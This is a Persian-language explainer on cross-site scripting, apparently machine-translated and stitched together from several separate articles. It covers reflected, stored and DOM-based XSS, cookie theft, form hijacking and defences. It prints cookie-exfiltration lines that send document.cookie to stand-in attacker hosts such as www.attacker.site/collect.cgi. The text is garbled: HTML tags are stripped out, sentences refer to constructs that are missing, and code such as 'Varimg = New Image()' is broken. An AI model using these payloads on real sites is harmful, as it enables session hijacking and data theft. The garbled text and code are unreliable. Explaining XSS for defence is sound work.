حمله xss چیست؟ آسیب پذیری XSS چیست؟
اسکریپت بین سایتی با استفاده از اسکریپت جاوا محبوب ترین نوع حمله است. در این مقاله به شما خواهیم گفت که استفاده از اسکریپت جاوا چه مشکلاتی ایجاد می کند و چگونه از خود در برابر حملات XSS محافظت کنید.
حمله XSS چیست؟XSS نوعی حمله به کاربران منابع اینترنتی است که هدف از آن سرقت اطلاعات احراز هویت مدیران سایت به منظور دسترسی به بخش مدیریتی، سایر کاربرانی است که توانایی دسترسی شخصی به قسمت های خصوصی منبع را دارند. .
این حملات نه تنها با هدف هک کردن سایت، بلکه برای آدم ربایی نیز قابل انجام است:
- اعتبار برای دسترسی به منابع شخص ثالث؛
- شماره کارت های بانکی؛
- داده های دسترسی به کیف پول الکترونیکی؛
- اطلاعات تماس؛
- سایر داده های حساس کاربر
این نوع حمله دو جهت دارد:
فعال - نوعی حمله زمانی که یک مهاجم سعی می کند آسیب پذیری هایی را در فیلتر یک منبع اینترنتی پیدا کند. از طریق ترکیب خاصی از کاراکترها و برچسب ها، هکر درخواستی را ایجاد می کند که منبع آن را درک کرده و دستور را اجرا می کند. پس از یافتن یک آسیب پذیری در سیستم امنیتی، کدهای مخرب در درخواست تعبیه شده است که به عنوان مثال، تمام کوکی ها را به مکانی مناسب برای هکر ارسال می کند.
منفعل - شامل مداخله موضوع حمله است. نکته این است که کاربر را مجبور به دنبال کردن یک پیوند مخرب برای پیاده سازی کدهای مخرب کنید. اجرای این حملات دشوار است زیرا مستلزم داشتن دانش فنی عالی و دانش خوب در زمینه روانشناسی است.
مقررات ایمنیبرای جلوگیری از قربانی شدن یک حمله XSS، باید قوانین امنیتی زیر را رعایت کنید:
طبق آمار، 84 درصد از منابع اینترنتی به خوبی در برابر حملات XSS محافظت می شوند. 16 درصد دیگر قادر به مقاومت موثر در برابر آنها نیستند. رفع این نقص فاحش، صاحبان سایت را ملزم به سرمایه گذاری اضافی در امنیت می کند، که اکثر آنها برای آن آماده نیستند. با این حال، تشدید قوانین مربوط به آسیب، نشت و افشای دادههای شخصی، به طور فزایندهای مالکان بیوجدان را مجبور میکند تا امنیت سایتهای خود را بهبود بخشند.
اسکریپت بین سایتی (به اختصار XSS) یک آسیب پذیری گسترده است که بر بسیاری از برنامه های کاربردی وب تأثیر می گذارد. این به مهاجم اجازه می دهد تا کد مخرب را به یک وب سایت تزریق کند به گونه ای که مرورگر کاربر بازدید کننده از سایت این کد را اجرا کند.
به طور معمول، بهرهبرداری از چنین آسیبپذیری مستلزم نوعی تعامل با کاربر است: یا با استفاده از مهندسی اجتماعی به سایت آلوده کشیده میشوند، یا به سادگی منتظر میمانند تا کاربر خودش از این سایت بازدید کند. بنابراین، توسعه دهندگان اغلب آسیب پذیری های XSS را جدی نمی گیرند.
اما اگر آنها حذف نشوند، این می تواند یک خطر امنیتی جدی ایجاد کند.
بیایید تصور کنیم که در پنل مدیریت وردپرس هستیم و محتوای جدیدی را اضافه می کنیم. اگر برای انجام این کار از یک افزونه آسیب پذیر XSS استفاده کنیم، می تواند مرورگر را مجبور به ایجاد یک مدیر جدید، اصلاح محتوا و انجام سایر اقدامات مخرب کند. اسکریپت بین سایتی به مهاجم کنترل تقریباً کاملی بر مهمترین نرم افزار این روزها یعنی مرورگر می دهد.
XSS: آسیب پذیری تزریقهر وبسایت یا برنامهای دارای چندین نقطه ورود داده است - فیلدهای تا خود URL را تشکیل میدهند. ساده ترین مثال ورودی زمانی است که یک نام کاربری و رمز عبور را در یک فرم وارد می کنیم:
نام ما در پایگاه داده سایت برای تعامل بعدی با ما ذخیره خواهد شد. حتما وقتی در هر سایتی مجوز داشتید، احوالپرسی شخصی به سبک «ایلیا» خوش آمدید دیدید.
برای چنین اهدافی است که نام های کاربری در پایگاه داده ذخیره می شوند.
تزریق روشی است که در آن یک توالی خاصی از کاراکترها به جای نام یا رمز عبور وارد می شود و سرور یا مرورگر را مجبور می کند به روش خاصی که مهاجم نیاز دارد پاسخ دهد.
اسکریپت بین سایتی تزریقی است که کدی را تزریق می کند که اقداماتی را در مرورگر از طرف یک وب سایت انجام می دهد. این می تواند هم با اعلان کاربر و هم در پس زمینه بدون اطلاع او اتفاق بیفتد.
یک حمله XSS منعکس شده زمانی آغاز می شود که کاربر بر روی یک پیوند ساخته شده ویژه کلیک کند.
این آسیبپذیریها زمانی رخ میدهند که دادههای ارائهشده توسط یک سرویسگیرنده وب، معمولاً در پارامترهای درخواست HTTP یا به شکل HTML، مستقیماً توسط اسکریپتهای سمت سرور برای تجزیه و نمایش صفحه نتایج برای آن مشتری، بدون پردازش مناسب، اجرا میشوند.
ذخیره شده (دائمی).XSS ذخیره شده زمانی امکان پذیر است که یک مهاجم موفق شود کد مخرب را به سروری تزریق کند که هر بار که به صفحه اصلی دسترسی پیدا می کند در مرورگر اجرا می شود. یک مثال کلاسیک از این آسیبپذیری، انجمنهایی هستند که اجازه نظرات را در قالب HTML میدهند.
آسیب پذیری های ناشی از کد سمت سرویس گیرنده (جاوا اسکریپت، ویژوال بیسیک، فلش و غیره): همچنین به عنوان DOM شناخته می شود: منعکس شده (غیر پایدار).همانطور که در مورد سمت سرور، تنها در این مورد امکان حمله به دلیل پردازش کد توسط مرورگر وجود دارد.
ذخیره شده (دائمی).مشابه XSS ذخیره شده در سمت سرور، فقط در این مورد، مؤلفه مخرب در سمت سرویس گیرنده با استفاده از ذخیره سازی مرورگر ذخیره می شود.
نمونه هایی از آسیب پذیری های XSS.جالب اینجاست که در بیشتر مواردی که این آسیبپذیری توضیح داده میشود، با کد زیر میترسیم:
http://www.site.com/page.php?var=alert("xss");
دو نوع آسیب پذیری XSS وجود دارد - غیرفعال و فعال.
آسیب پذیری فعالخطرناک تر است، زیرا مهاجم نیازی به فریب قربانی از طریق یک پیوند خاص ندارد، او فقط باید کد را به پایگاه داده یا برخی از فایل ها در سرور تزریق کند. بنابراین، تمام بازدیدکنندگان سایت به طور خودکار قربانی می شوند. می توان آن را به عنوان مثال با استفاده از تزریق SQL (تزریق SQL) ادغام کرد. بنابراین، شما نباید به داده های ذخیره شده در پایگاه داده اعتماد کنید، حتی اگر در هنگام درج پردازش شده باشند.
مثال آسیب پذیری غیرفعالرا می توان در همان ابتدای مقاله یافت. مهندسی اجتماعی قبلاً در اینجا مورد نیاز است، به عنوان مثال، یک نامه مهم از مدیریت سایت با درخواست برای بررسی تنظیمات حساب خود پس از بازیابی از یک نسخه پشتیبان. بر این اساس، شما باید آدرس قربانی را بدانید یا فقط یک لیست پستی هرزنامه یا پست در برخی از انجمن ها ترتیب دهید، و حتی این واقعیت نیست که قربانیان ساده لوح باشند و پیوند شما را دنبال کنند.
علاوه بر این، هر دو پارامتر POST و GET می توانند در معرض آسیب پذیری غیرفعال باشند. البته با پارامترهای POST باید به سراغ ترفندها بروید. به عنوان مثال، تغییر مسیر از سایت مهاجم.
document.getElementsByTagName("form").submit();
بنابراین، آسیبپذیری GET کمی خطرناکتر است، زیرا تشخیص دامنه اشتباه برای قربانی آسان تر از پارامتر اضافی است (اگرچه URL معمولاً می تواند رمزگذاری شود).
دزدیدن کوکی هااین متداول ترین مثال از حمله XSS است. سایتها گاهی اوقات برخی از اطلاعات ارزشمند را در کوکیها ذخیره میکنند (گاهی اوقات حتی ورود به سیستم و رمز عبور کاربر (یا هش آن)، اما خطرناکترین آنها سرقت یک جلسه فعال است، بنابراین فراموش نکنید که روی پیوند «خروج» در سایتها کلیک کنید، حتی اگر این یک کامپیوتر خانگی است. خوشبختانه، در اکثر منابع، طول عمر جلسه محدود است.
Varimg = New Image(); img.src = "http://site/xss.php؟" +document.cookie;
بنابراین، ما محدودیت های دامنه را در XMLHttpRequest معرفی کردیم، اما این برای یک مهاجم ترسناک نیست، زیرا وجود دارد، , , background:url(); و غیره
ما برای مثال از طریق getElementById به دنبال فرم می گردیم و رویداد onsubmit را دنبال می کنیم. حال قبل از ارسال فرم، داده های وارد شده به سرور مهاجم نیز ارسال می شود.
این نوع حمله تا حدودی یادآور فیشینگ است، اما یک سایت جعلی نیست که استفاده می شود، بلکه واقعی است که باعث اعتماد بیشتر قربانی می شود.
حمله DDoS (حمله انکار سرویس توزیع شده)یک آسیب پذیری XSS در منابع پربازدید می تواند برای راه اندازی یک حمله DDoS استفاده شود. ماهیت ساده است - درخواست های زیادی وجود دارد که سرور مورد حمله نمی تواند مقاومت کند.
در واقع، این رابطه غیرمستقیم با XSS دارد، زیرا ممکن است اصلا از اسکریپت ها استفاده نشود، ساخت فرم کافی است:
چگونه می توانید از سایت خود در برابر XSS محافظت کنید؟ چگونه کد آسیب پذیری را بررسی کنیم؟ فناوری هایی مانند فایروال Sucuri وجود دارند که به طور خاص برای جلوگیری از چنین حملاتی طراحی شده اند. اما اگر توسعهدهنده هستید، قطعاً میخواهید درباره نحوه شناسایی و رفع آسیبپذیریهای XSS اطلاعات بیشتری کسب کنید.
در قسمت بعدی مقاله اختصاص داده شده به XSS در این مورد صحبت خواهیم کرد.
اوری سگال
بیاموزید که چگونه هکرها از حملات اسکریپت نویسی بین سایتی استفاده می کنند، به چه چیزی آسیب می رسانند (و به چه چیزی آسیب نمی زنند)، چگونه آنها را شناسایی کنید، و چگونه از وب سایت خود و بازدیدکنندگان آن در برابر این نقض حریم خصوصی و امنیتی مخرب محافظت کنید.
اسکریپت بین سایتی (یا به اختصار XSS) یکی از رایج ترین حملات لایه برنامه است که هکرها از آن برای شکستن برنامه های وب استفاده می کنند. XSS یک حمله به حریم خصوصی اطلاعات مشتریان یک وب سایت خاص است. هنگامی که داده های مشتری به سرقت رفته و بعداً برای هر منظوری مورد استفاده قرار می گیرند، می تواند منجر به تخریب کامل سیستم امنیتی شود. اکثر حملات شامل دو طرف هستند: یا مهاجم و وب سایت، یا مهاجم و مشتری قربانی. با این حال، سه طرف درگیر حمله XSS هستند: مهاجم، مشتری و وب سایت.
هدف از حمله XSS سرقت کوکی ها یا سایر اطلاعات حساس از رایانه مشتری است که می تواند مشتری را در یک وب سایت شناسایی کند. با داشتن اطلاعاتی برای شناسایی به عنوان یک کاربر قانونی، یک مهاجم می تواند به عنوان یک کاربر در سایت عمل کند، یعنی. تظاهر به .... بودن. به عنوان مثال، در یک ممیزی که در یک شرکت بزرگ انجام شد، با استفاده از حمله XSS، اطلاعات خصوصی و شماره کارت اعتباری یک کاربر به دست آمد. این با اجرای کد جاوا اسکریپت سفارشی به دست آمد. این کد در مرورگر قربانی (مشتری) اجرا شد که دارای امتیاز دسترسی به وب سایت بود. تعداد بسیار محدودی از امتیازات جاوا اسکریپت وجود دارد که به اسکریپت اجازه دسترسی به هیچ چیز دیگری جز اطلاعات مربوط به سایت را نمی دهد. مهم است که تاکید کنیم که اگرچه آسیب پذیری در وب سایت وجود دارد، خود وب سایت مستقیماً تحت تأثیر قرار نمی گیرد. اما این برای اسکریپت کافی است تا کوکی ها را جمع آوری کند و برای مهاجم ارسال کند. در نتیجه مهاجم داده های لازم را دریافت می کند و می تواند از قربانی تقلید کند.
بیایید نام سایت مورد حمله را اینگونه بگذاریم: www.vulnerable.site. یک حمله سنتی XSS بر اساس یک اسکریپت آسیب پذیر است که در یک سایت آسیب پذیر قرار دارد. این اسکریپت بخشی از درخواست HTTP (معمولاً پارامترها، اما گاهی اوقات سرصفحه یا مسیر HTTP) را می خواند و آن را برای صفحه پاسخ، به طور کامل یا جزئی، تکرار می کند. این درخواست را پاک نمی کند (یعنی بررسی نمی کند که درخواست حاوی کد جاوا اسکریپت یا برچسب های HTML نباشد). فرض کنید این اسکریپت Welcome.cgi نام دارد و نام آن یک پارامتر است. می توان از آن به این صورت استفاده کرد:
چگونه می توان از این موضوع سوء استفاده کرد؟ مهاجم باید بتواند مشتری (قربانی) را برای کلیک روی لینکی که مهاجم در اختیار او قرار می دهد، فریب دهد. این یک پیوند با دقت و مخرب ساخته شده است که باعث می شود مرورگر وب قربانی به یک وب سایت (www.vulnerable.site) دسترسی پیدا کند و اسکریپت آسیب پذیر را اجرا کند. داده های این اسکریپت حاوی کد جاوا اسکریپت است که به کوکی های ذخیره شده توسط مرورگر مشتری برای www.vulnerable.site دسترسی دارد. این مجاز است زیرا مرورگر مشتری "فکر می کند" کد جاوا اسکریپت از www.vulnerable.site آمده است. و مدل امنیتی جاوا اسکریپت به اسکریپت هایی که از یک سایت خاص سرچشمه می گیرند اجازه می دهد تا به کوکی هایی که متعلق به آن سایت هستند دسترسی داشته باشند.
پاسخ سایت آسیب پذیر به شرح زیر خواهد بود:
خوش آمدی! هشدار سلام (document.cookie) به سیستم ما خوش آمدید... |
مرورگر مشتری قربانی این درخواست را به عنوان یک صفحه HTML حاوی یک قطعه کد جاوا اسکریپت تفسیر می کند. این کد، زمانی که اجرا شود، به تمام کوکی های متعلق به www.vulnerable.site دسترسی خواهد داشت. بنابراین، باعث ایجاد یک پنجره بازشوی مرورگر میشود که تمام کوکیهای مشتری مرتبط با www.vulnerable.site را نشان میدهد.
البته، یک حمله واقعی شامل ارسال این فایل ها به مهاجم است. برای انجام این کار، یک مهاجم می تواند یک وب سایت (www.attacker.site) ایجاد کند و از یک اسکریپت برای دریافت کوکی ها استفاده کند. مهاجم به جای فراخوانی یک پنجره پاپ آپ، کدی را می نویسد که به آدرس اینترنتی www.attacker.site دسترسی دارد. در این راستا اسکریپتی برای دریافت کوکی ها اجرا می شود. پارامتر این اسکریپت کوکی های سرقت شده است. بنابراین، یک مهاجم می تواند کوکی ها را از سرور www.attacker.site دریافت کند.
بلافاصله پس از بارگیری این صفحه، مرورگر کد جاوا اسکریپت درج شده در آنجا را اجرا می کند و درخواست را به اسکریپت collect.cgi در www.attacker.site به همراه مقدار کوکی های www.vulnerable.site که از قبل در مرورگر هستند ارسال می کند. . این امر امنیت کوکیهای www.vulnerable.site را که مشتری دارد به خطر میاندازد. این به مهاجم اجازه می دهد تا وانمود کند که قربانی است. حریم خصوصی مشتری کاملا نقض شده است.
توجه داشته باشید.
فراخوانی یک پاپ آپ با جاوا اسکریپت معمولا برای نشان دادن آسیب پذیری سایت در برابر حمله XSS کافی است. اگر امکان فراخوانی تابع Alert از جاوا اسکریپت وجود دارد، معمولاً دلیلی وجود ندارد که تماس ممکن است شکست بخورد. به همین دلیل است که بیشتر نمونههای حملات XSS از تابع Alert استفاده میکنند که تعیین موفقیت یک حمله را بسیار آسان میکند.
حمله فقط می تواند در مرورگر قربانی رخ دهد، همان مرورگر مورد استفاده برای دسترسی به سایت (www.vulnerable.site). مهاجم باید مشتری را مجبور به دسترسی به پیوند مخرب کند. این را می توان از چند طریق به دست آورد.
- مهاجم یک ایمیل حاوی یک صفحه HTML ارسال می کند که باعث می شود مرورگر پیوند را باز کند. این مستلزم این است که قربانی از یک سرویس گیرنده ایمیل با قابلیت HTML استفاده کند. و نمایشگر HTML روی کلاینت باید همان مرورگری باشد که برای دسترسی به www.vulnerable.site استفاده می شود.
- مشتری از سایتی بازدید می کند که احتمالاً توسط یک مهاجم ایجاد شده است، جایی که پیوند به یک تصویر یا سایر عناصر فعال HTML باعث می شود مرورگر پیوند را باز کند. باز هم، در این مورد، ضروری است که از همان مرورگر برای دسترسی به این سایت و www.vulnerable.site استفاده شود.
کد جاوا اسکریپت مخرب می تواند به هر یک از اطلاعات زیر دسترسی داشته باشد:
- کوکی های دائمی (www.vulnerable.site) که مرورگر ذخیره می کند.
- کوکی های درون حافظه (www.vulnerable.site)، که توسط نمونه مرورگر فقط هنگام مرور www.vulnerable.site پشتیبانی می شوند.
- نام سایر پنجره ها برای www.vulnerable.site باز می شود.
- هر اطلاعاتی که از طریق DOM فعلی در دسترس است (از مقادیر، کد HTML و غیره).
داده ها برای شناسایی، مجوز و احراز هویت معمولاً به شکل کوکی ذخیره می شوند. اگر این کوکی ها پایدار باشند، قربانی آسیب پذیر است حتی اگر هنگام دسترسی به www.vulnerable.site از مرورگر استفاده نکند. با این حال، اگر کوکیها موقتی هستند (مثلاً در RAM ذخیره میشوند)، باید یک جلسه سمت کلاینت با www.vulnerable.site وجود داشته باشد.
یکی دیگر از پیادهسازیهای احتمالی برچسب شناسایی، پارامتر URL است. در مواردی مانند این، میتوانید با استفاده از جاوا اسکریپت مانند این به پنجرههای دیگر دسترسی پیدا کنید (با فرض اینکه نام صفحه با پارامترهای URL مورد نظر Foobar باشد):
var viktima_window=open(","foobar");alert("قابل دسترسی: "+victim_window.location.search) |
برای اجرای یک اسکریپت جاوا اسکریپت، می توانید از بسیاری از تگ های HTML غیر از . در واقع می توان کدهای مخرب جاوا اسکریپت را روی سرور دیگری قرار داد و سپس کلاینت را مجبور به دانلود اسکریپت و اجرای آن کرد. اگر نیاز به اجرای مقدار زیادی کد دارید، یا اگر کد حاوی کاراکترهای خاصی باشد، این می تواند مفید باشد.
در اینجا برخی از تغییرات این احتمالات وجود دارد.
- به جای ...، هکرها می توانند از ساختار استفاده کنند. این برای سایت هایی که تگ HTML را فیلتر می کنند مناسب است.
- به جای ...، می توانید از ساخت و ساز استفاده کنید. این در شرایطی خوب است که کد جاوا اسکریپت خیلی طولانی است، یا اگر حاوی کاراکترهای غیرقانونی باشد.
گاهی اوقات داده های تعبیه شده در صفحه پاسخ در یک زمینه HTML پولی است. در این حالت، ابتدا باید به یک زمینه آزاد "فرار" کنید و سپس یک حمله XSS را انجام دهید. به عنوان مثال، اگر داده ها به عنوان مقدار پیش فرض یک فیلد فرم HTML درج شود:
و کد HTML حاصل به صورت زیر خواهد بود:
پنجره.باز ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> تا اینجا دیدیم که یک حمله XSS می تواند در پارامتر درخواست GET که اسکریپت به آن پاسخ می دهد رخ دهد. اما همچنین می توان با استفاده از درخواست POST یا با استفاده از مؤلفه مسیر درخواست HTTP و حتی با استفاده از برخی هدرهای HTTP (مثلاً Referer) یک حمله انجام داد. به طور خاص، مؤلفه مسیر زمانی مفید است که صفحه خطا یک مسیر نامعتبر را برمی گرداند. در این مورد، گنجاندن یک اسکریپت مخرب در مسیر اغلب منجر به اجرای آن می شود. بسیاری از سرورهای وب در برابر این حمله آسیب پذیر هستند. درک این نکته مهم است که اگرچه وب سایت مستقیماً تحت تأثیر این حمله قرار نمی گیرد (به طور معمول به کار خود ادامه می دهد، هیچ کد مخربی روی آن اجرا نمی شود، حمله DoS رخ نمی دهد، و داده های سایت مستقیما خوانده یا دستکاری نمی شوند. با)، همچنان یک نقض در سیستم امنیتی است که سایت به مشتریان یا بازدیدکنندگان خود ارائه می دهد. این شبیه به سایتی است که برای استقرار یک برنامه با برچسب های امنیتی ضعیف استفاده می شود. به همین دلیل، مهاجم می تواند برچسب امنیتی مشتری را حدس بزند و وانمود کند که او (یا او) است. نقطه ضعف برنامه اسکریپت است که پارامتر آن را بدون توجه به مقدار آن برمی گرداند. یک اسکریپت خوب باید مطمئن شود که پارامتر در فرمت صحیح است، حاوی کاراکترهای معتبر و غیره است. معمولاً دلیلی وجود ندارد که یک پارامتر معتبر حاوی تگ های HTML یا کد جاوا اسکریپت باشد. قبل از اینکه در یک پاسخ تعبیه شود یا در یک برنامه کاربردی استفاده شود، آنها باید از یک پارامتر حذف شوند. این امر ایمنی را تضمین می کند. سه راه برای ایمن سازی سایت شما در برابر حملات XSS وجود دارد.
نتیجه منطقی حفاظت از سایت، بررسی امنیت آن در برابر حملات XSS است. مانند محافظت از یک سایت در برابر XSS، بررسی های امنیتی را می توان به صورت دستی (راه سخت) یا با استفاده از یک ابزار خودکار ارزیابی آسیب پذیری برنامه کاربردی وب انجام داد. چنین ابزاری بار تأیید را از روی دوش شما برمی دارد. این برنامه از سایت عبور می کند و برای هر اسکریپتی که پیدا می کند، هر گونه تغییری را که می داند اجرا می کند. این همه پارامترها، هدرها و مسیرها را امتحان می کند. در هر دو روش، هر ورودی به برنامه (پارامترهای همه اسکریپت ها، هدرهای HTTP، مسیرها) با حداکثر گزینه ممکن بررسی می شود. و اگر صفحه پاسخ حاوی کد جاوا اسکریپت در زمینه ای باشد که مرورگر بتواند آن را اجرا کند، پیام آسیب پذیری XSS ظاهر می شود. به عنوان مثال هنگام ارسال متن زیر:
برای هر پارامتر هر اسکریپت (از طریق یک مرورگر با قابلیت جاوا اسکریپت برای شناسایی ساده ترین نوع آسیب پذیری XSS)، اگر متن به عنوان کد جاوا اسکریپت تفسیر شود، مرورگر یک پنجره هشدار جاوا اسکریپت ظاهر می شود. البته چندین گزینه وجود دارد. بنابراین، آزمایش تنها این گزینه کافی نیست. و همانطور که قبلاً یاد گرفتید، می توانید کد جاوا اسکریپت را در فیلدهای مختلف درخواست جاسازی کنید: پارامترها، هدرهای HTTP و مسیر. با این حال، در برخی موارد (به ویژه در مورد هدر HTTP Referer) انجام یک حمله مبتنی بر مرورگر ناخوشایند است. اسکریپت بین سایتی یکی از رایج ترین حملات لایه برنامه است که هکرها از آن برای نفوذ به برنامه های وب استفاده می کنند. همچنین خطرناک ترین است. این حمله به حریم خصوصی مشتریان یک وب سایت خاص است. این می تواند منجر به تخریب کامل سیستم امنیتی شود، زمانی که داده های مشتری به سرقت رفته و بعداً برای اهدافی مورد استفاده قرار گیرد. متأسفانه، همانطور که این مقاله توضیح می دهد، این کار اغلب بدون اطلاع مشتری یا سازمانی که مورد حمله قرار گرفته است انجام می شود. برای جلوگیری از آسیب پذیری وب سایت ها در برابر این فعالیت های مخرب، مهم است که یک سازمان یک استراتژی برای حفاظت آنلاین و آفلاین اجرا کند. این شامل یک بررسی خودکار آسیبپذیری است که میتواند تمام آسیبپذیریهای وب شناختهشده و برنامههای خاص (مانند اسکریپت بین سایتی) را در یک سایت آزمایش کند. برای محافظت کامل آنلاین، نصب فایروالی که بتواند هر نوع دستکاری کد و دادههای موجود در یا پشت سرورهای وب را شناسایی و مسدود کند، حیاتی است. |
برنامه نویسی متقابل سایت (XSS) به حمله تزریق کد سمت سرویس گیرنده اشاره دارد که در آن یک مهاجم می تواند اسکریپت های مخرب را در یک وب سایت یا برنامه وب اجرا کند. XSS یکی از رایج ترین آسیب پذیری های برنامه وب است و زمانی رخ می دهد که یک برنامه وب از اعتبارسنجی یا رمزگذاری ورودی/خروجی استفاده نمی کند.
با استفاده از XSS، مهاجم به طور مستقیم قربانی را هدف قرار نمی دهد. در عوض، از یک آسیبپذیری در یک وبسایت یا برنامه وب که قربانی بازدید میکند، استفاده میکند و اساساً از وبسایت آسیبپذیر به عنوان وسیلهای برای ارائه یک اسکریپت مخرب به مرورگر قربانی استفاده میکند.
در حالی که XSS را می توان در VBScript، ActiveX و Flash استفاده کرد (اگرچه دومی در حال حاضر منسوخ شده است)، مسلماً بیشترین سوء استفاده در جاوا اسکریپت است - در درجه اول به این دلیل که جاوا اسکریپت برای اکثر وب سایت ها اساسی است.
نحوه کار اسکریپت متقابل سایت
به منظور اجرای کدهای مخرب جاوا اسکریپت در مرورگر قربانی، مهاجم ابتدا باید راهی برای تزریق بار به صفحه وب که قربانی بازدید می کند بیابد. البته، یک مهاجم میتواند از تکنیکهای مهندسی اجتماعی برای متقاعد کردن کاربر برای بازدید از یک صفحه آسیبپذیر با بارگذاری جاوا اسکریپت استفاده کند.
برای حمله XSS، یک وب سایت آسیب پذیر باید مستقیماً ورودی کاربر را در صفحات خود قرار دهد. سپس مهاجم می تواند رشته ای را وارد کند که در صفحه وب استفاده می شود و به عنوان کد توسط مرورگر قربانی پردازش می شود.
شبه کد سمت سرور زیر برای نمایش آخرین نظر در یک صفحه وب استفاده می شود.
چاپ "" چاپ "اخرین نظر" چاپ database.latestComment print "" اسکریپت بالا به سادگی آخرین نظر را از پایگاه داده نظرات چاپ می کند و محتوا را در صفحه HTML چاپ می کند، با این فرض که نظر چاپ شده فقط متن است.
کد صفحه بالا در برابر xss آسیب پذیر است زیرا یک مهاجم می تواند نظری را بگذارد که حاوی یک بار مخرب باشد، مانند
doSomethingEvil();. کاربرانی که از صفحه وب بازدید می کنند صفحه HTML زیر را دریافت خواهند کرد.
آخرین نظر doSomethingEvil(); هنگامی که صفحه در مرورگر قربانی بارگذاری می شود، اسکریپت مخرب مهاجم اغلب بدون آگاهی یا توانایی کاربر برای جلوگیری از چنین حمله ای اجرا می شود.
نکته مهم: آسیبپذیری -xss تنها زمانی میتواند وجود داشته باشد که بار (اسکریپت مخرب) که مهاجم درج میکند در نهایت (مانند HTML در این مورد) در مرورگر قربانی پردازش شود.
مهاجم با جاوا اسکریپت چه کاری می تواند انجام دهد؟
عواقب کاری که یک مهاجم می تواند برای اجرای جاوا اسکریپت در یک صفحه وب انجام دهد ممکن است فوراً آشکار نشود، به خصوص که مرورگرها جاوا اسکریپت را در یک محیط کاملاً کنترل شده اجرا می کنند و جاوا اسکریپت دسترسی محدودی به سیستم عامل کاربر و فایل های کاربر دارد.
با این حال، با توجه به اینکه جاوا اسکریپت به موارد زیر دسترسی دارد، درک آنچه مهاجمان خلاق با جاوا اسکریپت می توانند به دست آورند، آسان تر است.
جاوا اسکریپت مخرب به همه اشیاء مشابه بقیه صفحه وب از جمله دسترسی به کوکی ها دسترسی دارد. کوکیها اغلب برای ذخیره نشانههای جلسه استفاده میشوند، اگر مهاجم بتواند کوکی جلسه کاربر را دریافت کند، میتواند جعل هویت کاربر باشد.
جاوا اسکریپت می تواند از XMLHttpRequest برای ارسال درخواست های http با محتوای دلخواه در جهت های دلخواه استفاده کند.
جاوا اسکریپت در مرورگرهای مدرن می تواند از API های HTML5 مانند دسترسی به موقعیت جغرافیایی کاربر، وب کم، میکروفون و حتی فایل های خاص از سیستم فایل کاربر استفاده کند. در حالی که بیشتر این APIها به تعامل با کاربر نیاز دارند، XSS همراه با برخی مهندسی اجتماعی هوشمندانه می تواند برای یک مهاجم خوب کار کند.
به طور کلی، در ترکیب با مهندسی اجتماعی، این روش ها به مهاجمان اجازه می دهد تا حملاتی مانند سرقت کوکی، کی لاگ، فیشینگ و سرقت هویت را سازماندهی کنند. به طور حیاتی، آسیب پذیری های XSS بستر ایده آلی را برای مهاجمان فراهم می کند تا حملات را به حملات جدی تر افزایش دهند.
آیا اسکریپت متقابل سایت یک مشکل کاربر نیست؟
خیر اگر یک مهاجم بتواند از یک آسیب پذیری XSS در یک صفحه وب برای اجرای جاوا اسکریپت دلخواه در مرورگر بازدیدکننده سوء استفاده کند، امنیت آن وب سایت یا برنامه وب و کاربران آن به خطر افتاده است - xss یک مشکل کاربر نیست، درست مانند هر آسیب پذیری امنیتی دیگری اگر بر کاربران شما تأثیر می گذارد، بر شما تأثیر می گذارد.
آناتومی یک حمله اسکریپت بین سایتی
یک حمله Xss به سه شرکت کننده نیاز دارد: یک وب سایت، یک قربانی و یک مهاجم. مثال زیر فرض میکند که هدف مهاجم جعل هویت قربانی با سرقت کوکیهای قربانی است. ارسال کوکی ها به سرور مهاجم می تواند به روش های مختلفی انجام شود که یکی از آنها اجرای کد جاوا اسکریپت زیر در مرورگر قربانی با استفاده از یک آسیب پذیری XSS است.
window.?cookie=” + document.cookie شکل زیر راهنمای گام به گام یک حمله ساده XSS را نشان می دهد.
- مهاجم با ارسال یک فرم آسیب پذیر با استفاده از کد مخرب جاوا اسکریپت، داده های مفید را به پایگاه داده یک وب سایت تزریق می کند.
- قربانی درخواست یک صفحه وب از یک وب سایت می کند
- این وب سایت به مرورگر قربانی صفحه ای را با بار مهاجم به عنوان بخشی از بدنه HTML ارائه می دهد.
- مرورگر قربانی اسکریپت مخرب را در داخل بدنه HTML اجرا می کند. در این صورت کوکی های قربانی را به سرور مهاجم ارسال می کند. اکنون مهاجم باید زمانی که درخواست HTTP به سرور می رسد، کوکی قربانی را بازیابی کند و پس از آن مهاجم می تواند از کوکی دزدیده شده قربانی استفاده کند.
در زیر لیست کوچکی از سناریوهای حمله XSS وجود دارد که مهاجم می تواند از آنها برای به خطر انداختن امنیت یک وب سایت یا برنامه وب استفاده کند.
برچسب زدن
این تگ مستقیم ترین آسیب پذیری xss است. تگ اسکریپت می تواند به کد خارجی جاوا اسکریپت اشاره کند.
هشدار ("XSS"); برچسب زدن
با xss، تزریق را می توان در داخل تگ با استفاده از ویژگی onload یا یک ویژگی تیره تر دیگر مانند پس زمینه انجام داد.
برچسب برخی از مرورگرها زمانی که جاوا اسکریپت در آن قرار دارد، آن را اجرا می کنند
.
تگ این تگ به شما امکان می دهد صفحه HTML دیگری را در صفحه اصلی جاسازی کنید. یک iFrame میتواند حاوی جاوا اسکریپت باشد، اما توجه به این نکته مهم است که جاوا اسکریپت در iFrame به دلیل خطمشی امنیت محتوای مرورگر (CSP) به DOM صفحه اصلی دسترسی ندارد. با این حال، IFrames هنوز هم در برابر حملات فیشینگ بسیار موثر است.
برچسب زدن
در برخی از مرورگرها، اگر ویژگی نوع برچسب روی تصویر تنظیم شده باشد، می توان از آن برای میزبانی یک اسکریپت استفاده کرد.
برچسب زدن
برچسب، که اغلب برای پیوند دادن به شیوه نامه های خارجی استفاده می شود، ممکن است حاوی اسکریپت باشد.